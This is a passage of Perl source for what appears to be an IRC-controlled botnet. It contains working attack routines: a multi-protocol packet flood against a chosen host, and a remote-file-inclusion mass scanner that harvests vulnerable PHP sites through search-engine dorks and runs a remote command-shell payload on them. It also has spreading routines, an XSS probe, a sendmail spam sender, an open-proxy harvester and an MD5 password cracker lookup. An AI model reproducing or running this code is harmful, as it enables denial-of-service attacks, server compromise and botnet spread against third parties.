{ ..$cur_time = time - $itime; ..&TCPDrop($tip,$tport,$tsec); .} .sendraw($IRC_cur_socket,"PRIVMSG $msg :KnockOut Done With: $tip:$tport"); .return; } sub dxeqter { .my $iaddr = inet_aton($_[0]); .my $msg = $realname x $_[1]; .my $ftime = $_[2]; .my $cp = 0; .my (%pacotes); .$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; .socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; .socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; .socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; .socket(SOCK4, PF_INET, SOCK _RAW, 6) or $cp++; .return(undef) if $cp == 4; .my $itime = time; .my ($cur_time); .while ( 1 ) { ..for (my $porta = 1; $porta <= 65000; $porta++) { ...$cur_time = time - $itime; ...last if $cur_time >= $ftime; ...send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++; ...send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; ...send(SOCK3, $ms g, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++; ...send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++; ...for (my $pc = 3; $pc <= 255;$pc++) { ...next if $pc == 6; ...$cur_time = time - $itime; ...last if $cur_time >= $ftime; ...socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; ...send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++; ...} ..} ..last if $cur_time >= $ftime; .} .return($cur_time, %pacotes); } sub vxDropper { .my ( $msg, $host, $size, $lenght ) = @_; .if (fork() == 0) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :Sending Responce To -> ".$host.""); ..#sendraw($IRC_cur_socket, "PRIVMSG $msg :.(.12xe.Q.ted.) ".$host." Size: ".$size." KB Lenght: ".$lenght.""); .my ($dtime, %pacotes) = dxeqter("$host", "$size", "$lenght"); .$dtime = 1 if $dtime == 0; .my %bytes; ..$bytes{igmp} = $2 * $pacotes{igmp}; ..$bytes{icmp} = $2 * $pacotes{icmp }; ..$bytes{o} = $2 * $pacotes{o}; ..$bytes{udp} = $2 * $pacotes{udp}; ..$bytes{tcp} = $2 * $pacotes{tcp}; ..sendraw($IRC_cur_socket, "PRIVMSG $msg :Sendt (".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)."/KB) -> ".$host.""); ..#sendraw($IRC_cur_socket, "PRIVMSG $msg :.10(.12xeQt Done.10). Sent.10:.12 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." .10KB .10in.12 ".$dtime." .10seconds Target:.1 2 ".$host." ."); ..exit(0); .} } sub checksendmail { .my ( $msg ) = @_; .if (( -f "/usr/sbin/sendmail") && (-x "/usr/sbin/sendmail")) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :.14(.12Sendmail.14). Locked and loaded.."); .} } sub sendmail { .my ( $msg, $subject, $sender, $recipient, @corpo ) = @_; .my $rndmail; .my $sendmail = '/usr/sbin/sendmail' || return; .sendraw($IRC_cur_socket, "PRIVMSG $msg :Sending mail to: $3"); .my $mailtype = "content-type: text/html"; .open(SENDMAIL, "| $sendmail -t"); .print SENDMAIL "$mailtype\nSubject: $subject\nFrom: $sender\nTo: $recipient\n\n"; .print SENDMAIL "@corpo\n\n"; .close(SENDMAIL); .sendraw($IRC_cur_socket, "PRIVMSG $msg :(..12S.end.M.ail.) $recipient Sendt!"); } sub proxyscan { .my ( $msg, $str ) = @_; .eval "use HTTP::Request;"; if ($@) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :..12HTTP..::..12Request.. Missing!"); ..return; .} .eval "use LWP::UserAgent;"; if ($@) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :..12LWP..::..12UserAgent .. Missing!"); ..return; .} .if ($str =~ m/^(a|anon|anonymous)$/i) { $str = "anonymous";} .elsif ($str =~ m/^(transparent|tp|t)$/i) { $str = "transparent";} .elsif ($str =~ m/^(h|high|e|elite)$/i) { $str = "high anonymity";} .my @type = "$str"; .my @ttt=();my @ttt1=(); .my @ttt2=();my @ttt3=(); .my $prok=0;my $sockt; .unless ($sockt = IO::Socket::INET->new(PeerAddr=>"publicproxyservers.com",PeerPort=>"80",Proto=>"tcp")) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :Cannot Connect To Proxy Fetcher."); ..return; .} .sendraw($IRC_cur_socket, "PRIVMSG $msg :Searching For (".$str.") Proxys"); .print $sockt "GET /page1.html HTTP/1.0\r\nHost: publicproxyservers.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; .my @r = <$sockt>; .$page="@r"; .close($sockt); .while ($page =~ m//g) { ..push(@ttt,$1); .} .while ($page =~ m/([A-Z].*)<\/td>/g) { ..push(@ttt1,$1); .} .while ($page =~ m/(.*)<\/td>/g) { ..push(@ttt2,$1); .} .while ($page =~ m/(anonymous|transparent|high anonymity)<\/td>/g) { ..push(@ttt3,$1); .} .foreach $x (0..(@ttt - 1)) { ..if ($ttt3[$x] =~ /@type/) { ...( my $a, my $ipaddr ) = split( />/, $ttt[$x]); ...my $prox = $ipaddr.":".$ttt2[$x]; ...my $ua = LWP::UserAgent->new; ...$ua->timeout($ModTimeOut); ...$ua->env_proxy; ...$ua->proxy('http', 'http://'.$prox); ...my $response = $ua->get("ht tp://www.perl.org/"); ...if ($response->is_success && $response->content =~ /The Perl/ || $response->content =~ /perl.org/) { ....sendraw($IRC_cur_socket, "PRIVMSG $msg :.(..12".$ttt3[$x]."..) ".$ipaddr.":".$ttt2[$x]." - $ttt1[$x]"); ....$prok++; ...} ..} .} .if (!$prok) { sendraw($IRC_cur_socket, "PRIVMSG $msg :[PublicProxy] No Proxy(s) Alive."); } .return; } sub milsearcher() { .my ( $msg, $search ) = @_; .my @srchquer y=();my @xqry=(); .my $c=0;my $page="";my $x;my $socke;my $xcnt=1; .unless ($socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp")) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :Error: Cannot connect to milw0rm!"); ..return; .} .print $socke "GET /search.php?dong=$search HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\n"; .print $socke "User-Agent: Mozilla/5.0\r\n\r\n"; .my @r = <$socke>; .$page="@r"; .close($socke); .while ($page =~ m/(.+?)<\/a>/g) { ..if ($1 !~ m/(milw0rm.com|exploits|en|related|download)/) { ...push(@srchquery, "http://www.milw0rm.com/exploits/$1 $2\n"); ..} .} .sendraw($IRC_cur_socket, "PRIVMSG $msg :.[..12milw0rm.Search..]. Query:".$search." - Found:".scalar(@srchquery).""); .foreach $x (0..(@srchquery - 1)) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :.[..12".$xcnt."..]. ".$srchquery[$x].""); ..sleep 3; ..$c++; ..$xcnt++; .} .if (!$c) { sendraw($IRC_cur_socket, "PRIVMSG $msg :Milw0rm Searcher Found Nothi ng.."); } .else { sendraw($IRC_cur_socket, "PRIVMSG $msg :(milw0rm) Search Done."); } } sub milw0rmRSS() { .my $msg = $_[0]; .my @ltt=();my @bug=(); .my $x;my $c=0;my $page="";my $socke; .unless ($socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp")) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :[Milw0rm] RSS Failed."); ..return; .} .print $socke "GET /rss.php HTTP/1.0\r\nHost: milw0rm.com\r \nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; .my @r = <$socke>; .$page="@r"; .close($socke); .while ($page =~ m/(.*)</g) { ..$x = $1; ..if ($x =~ /\<\;/) { $x =~ s/\<\;/</g; } ..if ($x !~ /milw0rm/) { push (@bug,$x); } .} .while ($page =~ m/<link.*expl.*([0-9]...)</g) { ..if ($1 !~ m/milw0rm.com|exploits|en/) { push (@ltt,"http://www.milw0rm.com/exploits/$1 "); } .} .sendraw($IRC_cur_socket, "PRIVMSG $msg :[..12Milw0rm..] Last Threads."); .foreach $x (0..(@ltt - 1)) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :.[.12".$c.".].14 ".$bug[$x].".: ".$ltt[$x].""); ..sleep 3; ..$c++; .} } sub packetstormRSS() { .my ( $msg ) = @_; .my $c=0;my $x; .my @ttt=();my @ttt1=();my $psock; .unless ($psock = IO::Socket::INET->new(PeerAddr=>"packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp")) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :[PacketStorm] RSS Failed."); ..return; .} .print $psock "GET /whatsnew20.xml HTTP/1.0\r\nHost: www.packetstormsecurity.org\r\nAccept: */*\r\ n"; .print $psock "User-Agent: Mozilla/5.0\r\n\r\n"; .my @r = <$psock>; .$page="@r"; .close($psock); .while ($page =~ m/<link>(.*)<\/link>/g) { push(@ttt,$1); } .while ($page =~ m/<description>(.*)<\/description>/g) { push(@ttt1,$1); } .foreach $x (0..(@ttt - 1)) { ..if (!$c) { ...sendraw($IRC_cur_socket, "PRIVMSG $msg :[..12PacketStorm.RSS..] .14".$ttt1[$x].". ".$ttt[$x].""); ...sleep 3; ...$c++; ..} ..else { ...sen draw($IRC_cur_socket, "PRIVMSG $msg :.[.12".$c.".] .14".$ttt1[$x].".".$ttt[$x].""); ...sleep 3; ...$c++; ..} .} } sub dorkdecode($) { .my ( $str ) = @_; .$str =~ s/ /\+/g; .$str =~ s/:/\%3A/g; .$str =~ s/\//\%2F/g; .$str =~ s/&/\%26/g; .$str =~ s/"/\%22/g; .$str =~ s/,/\%2C/g; .$str =~ s/\\/\%5C/g; .return($str); } sub vxCrypter() { .my ( $msg, $vstr ) = @_; .my $salt = $NickName[rand scalar @NickName]; .my $cryptstr = crypt($vstr,$salt); .eval "use Digest::MD5 qw(md5_hex);"; .if ($@) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :(..12vxCrypt..) String: ".$cryptstr." - Salt:".$salt.""); ..return; .} .sendraw($IRC_cur_socket, "PRIVMSG $msg :(..12vxCrypt..) Perl:".$cryptstr."/".$salt." :: MD5:".md5_hex($vstr).""); } sub rfiscanner { .my ( $msg, $VulnFile, $Googledorken ) = @_; .my $last=""; .if (my $pid = fork) { waitpid($pid,0); } .else { ..if (fork) { exit(0); } ..else { ...&modcheck($msg); # Mod Check! ...&CheckImages($msg); ...my $strcode = dorkdecode($Googledorken); ...sendraw($IRC_cur_socket, "PRIVMSG $msg :.14(..12PHP..R.F.I.14). ".$VulnFile." (".$Googledorken.")"); ...if ($google) { my @g = &googler(dorkdecode($Googledorken));push(@phpls,@g); } ...if ($msn) { my @m = &msnfetch(dorkdecode($Googledorken));push(@phpls,@m);} ...if ($opplys) { my @i881 = &i881fetch($strcode);push(@phpls,@i881); } ...if ($fbls) { my @f = &fireball($strcode);push(@phpls,@f); } ...if ($lawcrawler) { my @l = & lawcrawler($strcode);push(@phpls,@l); } ...if ($aol) { my @aole = &aolfetch($strcode);push(@phpls,@aole); } ...if ($kvasir) { my @k = &kvasir($strcode);push(@phpls,@k); } ...if ($uol) { my @u = &uolscan($strcode);push(@phpls,@u); } ...if ($atwsd) { my @all = &alltheweb($strcode);push(@phpls,@all); } ...if ($srcbg) { my @SBG = &SearchBG($strcode);push(@phpls,@SBG); } ...if ($altalavista) { my @avista = &AltaVista($strcode);push(@phpls,@avista); } ...if ($metacrawler) { my @meta = &MetaCrawler($strcod);push(@phpls,@meta); } ...my $founds = scalar(@phpls); ...if (!$founds) { exit(0); } ...sendraw($IRC_cur_socket, "PRIVMSG $msg :.12xeQting. ".scalar(@phpls)." Good..122..go."); ...foreach $url (@phpls) { ....my $path = "";my $file = ""; ....($path, $file) = $url =~ /^(.+)\/(.+)$/; ....$doit="http://".$path."/".$VulnFile.$cmdsh.""; ....$urihide="http://".$path."/".$VulnFile.$printer.""; ....$bcsprd="http://".$path."/".$VulnFile.$bcurl.""; ....$xstest="http://".$path."/".$VulnFile.""; ....next i f ($doit eq $last); ....my $req=HTTP::Request->new(GET=>$doit); ....my $ua=LWP::UserAgent->new(); ....$ua->timeout($ModTimeOut); ....my $response=$ua->request($req); ....my $xeqtz=$response->content; ....if ($response->is_success) { .....if ($xeqtz =~ /f7f32504cabcb48c21030c024c6e5c1a/ && $xeqtz =~ /uid=/ && $xeqtz =~ m/Uname:(.*?)<br>/ && $xeqtz !~ /SySOs:WINNT/) { ......sendraw($IRC_cur_socket, "PRIVMSG $msg :.7".$1."."); ......sendraw($IRC_cur_socket, "PRIVMSG $msg :".$urihide.""); ......if ($bcurl ne 0) { .......&xeqt_back($msg,$bcsprd);.# Un1x xeQted! ......} .....} .....elsif ($xeqtz =~ /f7f32504cabcb48c21030c024c6e5c1a/ && $xeqtz =~ /DNS-/ && $xeqtz =~ /[Adapter]/ && $xeqtz =~ /SySOs:WINNT/) { ......sendraw($IRC_cur_socket, "PRIVMSG $msg :.10(..12WindowS..10). ".$urihide.""); .....} .....elsif ($xeqtz =~ /f7f32504cabcb48c21030c024c6e5c1a/) { ......sendraw($IRC_cur_socket, "PRIVMSG $msg :.12(..7SafeMode...12). ".$urihide."") if ($safe_print); .....} .....&xsScan($msg,$xstest) if ($xsson); .....&SingleChecking($msg,$xssql,"0") if ($lfisc); ....} ....$last=$doit; ...} ...undef(@phpls); ...if (scalar(@phpls) < 300) { exit(0); } ...sendraw($IRC_cur_socket, "PRIVMSG $msg :RFIxeQt Done.."); ..} ..exit(0); .} } sub teamrx { .my ( $msg, $d0rk ) = @_; .my $co2=1;my $last;my @phplst; .if (my $pid = fork) { waitpid($pid,0); } .else { ..if (fork) { exit(0); } ..else { ...&modcheck($msg); ...&Check Images($msg); ...my $strcode = dorkdecode($d0rk); ...sendraw($IRC_cur_socket, "PRIVMSG $msg :.14(..12PHP..x.Q.t.14). ".dorkdecode($d0rk).""); ...if ($google) { my @g = &googler($strcode);push(@phplst,@g); } ...if ($msn) { my @m = &msnfetch($strcode);push(@phplst,@m); } ...if ($fbls) { my @f = &fireball($strcode);push(@phplst,@f); } ...if ($opplys) { my @i881 = &i881fetch($strcode);push(@phplst,@i881); } ...if ($lawcrawler) { my @l = &lawcrawler($strcode);push(@phplst,@l); } ...if ($aol) { my @aole = &aolfetch($strcode);push(@phplst,@aole); } ...if ($kvasir) { my @k = &kvasir($strcode);push(@phplst,@k); } ...if ($uol) { my @u = &uolscan($strcode);push(@phplst,@u); } ...if ($atwsd) { my @all = &alltheweb($strcode);push(@phplst,@all); } ...if ($srcbg) { my @SBG = &SearchBG($strcode);push(@phplst,@SBG); } ...if ($altalavista) { my @avista = &AltaVista($strcode);push(@phplst,@avista); } ...if ($metacrawler) { my @meta = &MetaCrawler($strcod);push(@phplst,@meta); } ...my @phpgo = &workout(@phplst); ...my $founds = scalar(@phpgo); ...if (!$founds) { exit(0); } ...sendraw($IRC_cur_socket, "PRIVMSG $msg :.12xeQting. ".$founds." Good..122..go."); ...foreach $phpmark (@phpgo) { ....$phpsite="http://".$phpmark.$cmdsh; ....$shows="http://".$phpmark.$printer; ....$backon="http://".$phpmark.$bcurl; ....$xssql="http://".$phpmark.""; ....next if ($phpsite eq $last); ....my $req=HTTP::Request->new(GET=>$phpsite); ....my $ua=LWP: :UserAgent->new(); ....$ua->timeout($ModTimeOut); ....my $response=$ua->request($req); ....my $xeqta=$response->content; ....if ($response->is_success) { .....if ($xeqta =~ /f7f32504cabcb48c21030c024c6e5c1a/ && $xeqta =~ /uid=/ && $xeqta =~ m/Uname:(.*?)<br>/ && $xeqta !~ m/SySOs:WINNT/) { ......sendraw($IRC_cur_socket, "PRIVMSG $msg :..4".$1.".."); ......sendraw($IRC_cur_socket, "PRIVMSG $msg :".$shows.""); ......if ($bcurl ne 0) { &xeqt_back($msg,$backon); } .....} .....elsif ($xeqta =~ /f7f32504cabcb48c21030c024c6e5c1a/ && $xeqta =~ /DNS-/ && $xeqta =~ /[Adapter]/ && $xeqta =~ /SySOs:WINNT/) { ......sendraw($IRC_cur_socket, "PRIVMSG $msg :.14(..9Windows..14). ".$shows.""); .....} .....elsif ($xeqta =~ /f7f32504cabcb48c21030c024c6e5c1a/) { ......sendraw($IRC_cur_socket, "PRIVMSG $msg :.12(..7SafeMode..12). ".$shows."") if ($safe_print); .....} .....if ($lfisc) { &SingleChecking($msg,$xssql,"0"); } .....if ($xsson) { &xsScan($msg,$xssql); } ....} ....if ($co2 %500 == 0) { .....sendraw($IRC_cur_socket, "PRIVMSG $msg :".$co2."/".$founds.""); ....} ....$last=$phpsite; ....$co2++; ...} ...if ($co2 < 300) { exit(0); } ...sendraw($IRC_cur_socket, "PRIVMSG $msg :Done With: $co2"); ..} ..exit(0); .} } sub googler() { .my ( $msg ) = @_; .my $str;my @results; .my $lastadded="";my $i=0; .if (!$ascmethod) { ..for (my $i=0; $i<900; $i+=100) { ...if ($msg =~ m/site:/i || $msg =~ m/site%3A/i) { ....$str = "".$msg .""; ...} ...else { $str = "".$msg."\+site%3A".$domene[rand scalar @domene].""; } ...my $gquer = "www.google".$GoDomene[rand scalar @GoDomene]."/search?q=$str&hl=en&start=$i&num=100&sa=N"; ...my $side = &spisern($gquer); ...while ($side =~ m/<a href="http:\/\/([^>\"]+)\"\s+class=l>/g) { ....if ($1 !~ m/google/ && $1 ne $lastadded) { .....push (@results,$1); .....$lastadded = $1; ....} ...} ...sleep 13; ..} .} .elsif ($ascmethod eq 1) { ..for (my $i=0; $i<900; $i+=100) { ...my $gquer = "www.google".$GoDomene[rand scalar @GoDomene]."/search?q=$msg&hl=en&start=$i&num=100&sa=N"; ...my $side = &spisern($gquer); ...while ($side =~ m/<a href="http:\/\/([^>\"]+)\"\s+class=l>/g) { ....if ($1 !~ m/google/ && $1 ne $lastadded) { .....push (@results,$1); .....$lastadded = $1; ....} ...} ...sleep 13; ..} .} .elsif ($ascmethod eq 2) { ..for (my $i=0; $i<900; $i+=100) { ...$str = "site%3A".$domene[rand scalar @domene]."\+".$msg; ...my $gquer = "www.google".$GoDomene[rand scalar @GoDomene]."/search?q=$str&hl=en&start=$i&num=100&sa=N"; ...my $side = &spisern($gquer); ...while ($side =~ m/<a href="http:\/\/([^>\"]+)\"\s+class=l>/g) { ....if ($1 !~ m/google/ && $1 ne $lastadded) { .....push (@results,$1); .....$lastadded = $1; ....} ...} ...sleep 13; ..} .} .elsif ($ascmethod eq 3) { ..for (my $i=0; $i<900; $i+=100) { ...$str = "filetype%3Aphp\+".$msg; ...my $gquer = "www.g oogle".$GoDomene[rand scalar @GoDomene]."/search?q=$str&hl=en&start=$i&num=100&sa=N"; ...my $side = &spisern($gquer); ...while ($side =~ m/<a href="http:\/\/([^>\"]+)\"\s+class=l>/g) { ....if ($1 !~ m/google/ && $1 ne $lastadded) { .....push (@results,$1); .....$lastadded = $1; ....} ...} ...sleep 13; ..} .} .elsif ($ascmethod eq 4) { ..for (my $i=0; $i<900; $i+=100) { ...$str = $NickName[rand scalar @NickN ame]."\+".$msg; ...my $gquer = "www.google".$GoDomene[rand scalar @GoDomene]."/search?q=$str&hl=en&start=$i&num=100&sa=N"; ...my $side = &spisern($gquer); ...while ($side =~ m/<a href="http:\/\/([^>\"]+)\"\s+class=l>/g) { ....if ($1 !~ m/google/ && $1 ne $lastadded) { .....push (@results,$1); .....$lastadded = $1; ....} ...} ...sleep 13; ..} .} .elsif ($ascmethod eq 5) { ..for (my $i=0; $i<900; $i+=100) { ...$str = $NickName[rand scalar @NickName]."\+".$msg."site%3A".$domene[rand scalar @domene]; ...my $gquer = "www.google".$GoDomene[rand scalar @GoDomene]."/search?q=$str&hl=en&start=$i&num=100&sa=N"; ...my $side = &spisern($gquer); ...while ($side =~ m/<a href="http:\/\/([^>\"]+)\"\s+class=l>/g) { ....if ($1 !~ m/google/ && $1 ne $lastadded) { .....push (@results,$1); .....$lastadded = $1; ....} ...} ...sleep 13; ..} .} .return(@results); } sub kvasir() { .my $str=$_[0]; .my $i=0; .my @lst;my $strg; .my $mix = 60 * int(rand(5)); .while($i < $mix) { ..if ($str =~ m/site:/i || $msg =~ m/site%3A/i) { $strg = "".$str.""; } ..else { $strg = "".$str."\+site%3A".$domene[rand scalar @domene].""; } ..my $kquery="http://www.kvasir.no/nettsok/searchResult.html?offset=$i&searchRegion=world&searchExpr=$strg"; ..my $pagei = &spisern($kquery); ..while ($pagei =~ m/<span class="url">http:\/\/(.+)<\/span\>/g) { ...next if ($last eq $1); ...push (@lst,$1); ...$last=$1; ..} ..$i+=10; . } .return(@lst); } sub uolscan() { .my $str=$_[0]; .my $i=0;my $pagq=500; .my @lst;my $last=""; .while($i <= $pagq) { ..my $uquery = "http://busca.uol.com.br/www/index.html?q=".$str."&start=".$i.""; ..my $uque = &spisern($uquery); ..while ($uque =~ m/<a href=\"http:\/\/([^>\"]+)/g) { ...next if ($1 eq $last); ...push(@lst,$1); ...$last=$1; ..} ..$i+=10; .} .return(@lst); } sub alltheweb() { .my $str=$_[0]; .my $i=0; .my @lista; .my $last=""; .while($i < 500) { ..my $query="http://www.alltheweb.com/search?cat=web&cs=iso88591&q=$str&o=$i"; ..my $qque = &spisern($query); ..while ($qque =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g) { ...next if ($1 eq $last); ...push(@lista,$1); ...$last=$1; ..} ..$i+=10; .} .return(@lista); } sub fireball() { .my $strs=$_[0]; .my $cntr=0; .my @lista; .while($cntr < 100) { ..my $firequery = "http://suche.fireball.de/cgi-bin/pursuit?pag=$cntr&query=$strs&cat=fb_loc&idx=all&enc=utf-8"; ..my $firesrc = &spisern($firequery); ..w hile ($firesrc =~ m/<a href=\"http:\/\/([^>\"]+)\"?/g) { ...push(@lista,$1); ..} ..$cntr++; .} .return(@lista); } sub lawcrawler() { .my $strx=$_[0]; .my @lista; .my $lawquery = "http://lawcrawler.findlaw.com/scripts/lc.pl?entry=$strx&sites=all"; .my $lawsrc = &spisern($lawquery); .while ($lawsrc =~ m/<span class\="u">(.*)<\/span>/g) { ..push(@lista,$1); .} .return @lista; } sub aolfetch() { .my $str=$_[0]; .my $a i=0; .my @lista=(); .while ($ai < 50) { ..my $aolquery = "http://search.aol.com/aol/search?query=$str&page=$ai&nt=null&do=Search&invocationType=comsearch30&clickstreamid=-4866513824760730179"; my $aolsrc = &spisern($aolquery); ..while ($aolsrc =~ m/<p class\="deleted" property+="f:url">(.*)<\/p>/g) { ...push(@lista,$1); ..} ..$ai++; .} .return @lista; } sub msnfetch() { .my $str=$_[0]; .my @lista; .my $i=1; .while ($i < 909) { ..my $msnquery = "http://search.sympatico.msn.ca/results.aspx?q=$str&first=$i&FORM=PORE"; ..my $msnsrc = &spisern($msnquery); ..while ($msnsrc =~ m/<a href="http:\/\/([^>\"]+)\"/g) { ...if ($1 !~ m/msn|yahoo|google|live.com/) { ....push(@lista,$1); ...} ..} ..$i+=10; .} .return(@lista); } sub i881fetch() { .my $msg=$_[0]; .my $str=$_[1]; .my @lista; .my $i=0; .while ($i < 60) { ..my $i881query = "http://www.1881.no/Internett/?Query=$str&qt=0&Side=$i"; ..my $i881src = &spisern($i881query); .while ($i881src =~ m/<a href="http:\/\ /([^>\"]+)\"/g) { ...if ($1 !~ /msnscache|opplysningen|ung1881|google/) { ....push(@lista,$1); ...} ..} ..$i++; .} .return(@lista); } sub SearchBG() { .my $str=$_[0]; .my $i=0; .while($i < 180) { ..my $srgbquery = "http://web.search.bg/search.php?query=$str&st=$i&ps=2"; ..my $srgbsrc = &spisern($srgbquery); ..while ($srgbsrc =~ m/<span class\="url">http:\/\/(.+?)\<\/span>/g) { ...next if ($1 eq $last); ...push(@list a,$1); ...$last=$1; ..} ..$i+=20; .} .return(@lista); } sub AltaVista() { .my $str=$_[0]; .my $i=0; .while($i < 950) { ..my $altaquery = "http://www.altavista.com/web/results?itag=ody&q=$str&stq=$i"; ..my $altasrc = &spisern($altaquery); ..while ($altasrc =~ m/<span class\=ngrn>http:\/\/(.+?)\<\/span>/g) { ...next if ($1 eq $last); ...push(@lista,$1); ...$last=$1; ..} ..$i+=10; .} .return(@lista); } sub MetaCrawler() { .my $str=$_[0]; .my $i=0; .while($i < 950) { ..my $metaquery = "http://www.altavista.com/web/results?itag=ody&q=$str&stq=$i"; ..my $metasrc = &spisern($metaquery); ..while ($metasrc =~ m/<span class\="Heading-Sponsors">http:\/\/(.+?)\<\/span>/g) { ...next if ($1 eq $last); ...push(@lista,$1); ...$last=$1; ..} ..$i+=10; .} .return(@lista); } sub workout { .my @pushed = (); .my %visiter = (); .foreach my $phpchk (@_) { ..next if (($phpchk =~ m/.jsp(.*)\=/i)||($phpchk =~ m/.asp(.*)\=/i)||($phpchk =~ m/.aspx(.*)\=/i)); ..next if (($phpchk !~ m/\?(.*)\=/i)|| ($phpchk !~ m/\/?(.*)\=/i)); ..( $slitted ) = split( /=/, $phpchk); ..$side=$slitted."="; ..next if $visiter{ $side }++; ..push(@pushed,$side); .} .return(@pushed); } sub spisern($) { .my ( $url ) = @_; .$url =~ s/http:\/\///; .my $host = $url; .my $query = $url; .my $page = ""; .$host =~ s/href=\"?http:\/\///; .$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; .$query =~ s/$host//; .if ($query eq "") { ..$query = "/"; .}; . eval { ..my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp",Timeout=>"8") or return; ..print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; ..my @r = <$sock>; ..$page="@r"; ..close($sock); .}; .return($page); } sub vulntester() { .my ( $msg, $strs ) = @_; .if (my $pid = fork) { waitpid($pid,0); } .else { ..if (fork) { exit(0); } ..else { ...&modcheck($msg); # Mod Check! ...&CheckImages($msg); ...my $set = fiks_url($strs); ...my $execute = $set.$cmdsh; ...my $show = $set.$printer; ...my $sprder = $set.$bcurl; ...my $xsstest = $set; ...my $mrx = &spisern($execute); ...if ($mrx =~ /f7f32504cabcb48c21030c024c6e5c1a/ && $mrx =~ /uid=/ && $mrx =~ m/Uname:(.*?)<br>/) { ....sendraw($IRC_cur_socket, "PRIVMSG $msg :.7".$1."."); ....sendraw($IRC_cur_socket, "PRIVMSG $msg :".$show.""); ....if ($bcurl ne 0) { &xeqt_back($msg,$sprder); } ....&Spredern($msg,$sprder); ...} ...elsif ($mrx =~ /f7f32504cabcb48c21030c024 c6e5c1a/ && $mrx =~ /DNS-/ && $mrx =~ /[Adapter]/) { ....sendraw($IRC_cur_socket, "PRIVMSG $msg :.14(..7Windows..14). ".$show.""); ...} ...elsif ($mrx =~ /f7f32504cabcb48c21030c024c6e5c1a/) { ....sendraw($IRC_cur_socket, "PRIVMSG $msg :.12(..7SafeMode..12). ".$show.""); ...} ...&xsScan($msg,$xsstest) if ($xsson); ...&SingleChecking($msg,$xsstest,"0") if ($lfisc); ..} ..undef($execute); ..exit(0); .} } sub urlvisiter() { .my ( $msg, $side ) = @_; .if (my $pid = fork) { waitpid($pid, 0); } .else { ..if (fork) { exit(0); } ..else { ...&modcheck($msg); # Mod Check! ...my $siden=fiks_url($side); ...my $req=HTTP::Request->new(GET=>$siden); ...my $ua=LWP::UserAgent->new(); ...$ua->timeout($ModTimeOut); ...my $response=$ua->request($req); ...if ($response->is_success) { sendraw($IRC_cur_socket, "PRIVMSG $msg :$siden Visited."); } ...else { sendraw($IRC_cur_socket, "PRIVMSG $msg :Error: $siden"); } ..} ..exit(0); .} } sub xsScan() { .my ( $msg, $xsside ) = @_; .my $xssquery = $xsside."%3Cscript%3Ealert%28%27xeQter%27%29%3B%3C%2Fscript%3E"; .my $mrx = &spisern($xssquery); .if ($mrx =~ m/<script>alert\('xeQter'\);<\/script>/g) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :.14(.9XSS?.14). $xssquery"); .} } # Add http if not.. sub fiks_url($) { .my ( $str ) = @_; .if ($str =~ m/^http:\/\/(.*)/i) { $set = $str; } .else { $set="http://".$str; } .return($set); } sub gdataonl() { .my ( $msg, $hash ) = @_; .if (length($hash) != 32) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :(".$hash.") Is Not 32 char md5 hash."); ..return; .} .my $hasjchk = &spisern("http://gdataonline.com/qkhash.php?mode=xml&hash=".$hash); .if ($hasjchk =~ m/<status>Success<\/status>/g && $hasjchk =~ m/<result>(.*)<\/result>/g) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :.14(.12MD5.14). Hash:Pass: ".$hash.":".$1.""); .} .else { sendraw($IRC_cur_socket, "PRIVMSG $msg :Did not find password for md5 hash!"); } } sub verifyer() { .my ( $msg ) = @_; .my $toorsh;my $spread;my $prdsh; .my $md5hash = spisern($cmdsh); .if ($md5hash =~ m/f7f32504cabcb48c21030c024c6e5c1a/) { $toorsh="ready.142.Go."; } else { $toorsh="..4Deleted...."; } .if (!$bcurl) { sendraw($IRC_cur_socket, "PRIVMSG $msg :..12Shell..: $toorsh"); } .else { ..my $que=spisern($bcurl); ..if ($que=~/shell_exec/||$que=~/exec/||$que=~/system/||$que=~/passthru/||$que=~/popen/||$que=~/proc_open/) { ...$spread="ready.142.Go."; ..} ..else { $spread="..4Deleted...."; } ..sendraw($IRC_cur_socket, "PRIVMSG $msg :..12Shell..: $toorsh - ..12Spread..: $spread"); .} .return; } sub modcheck() { .my ( $msg ) = @_; .eval "use HTTP::Request;"; .if ($@) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :..12HTTP..::..12Request.. Missing!") if ($warned); .exit(0); .} .eval "use 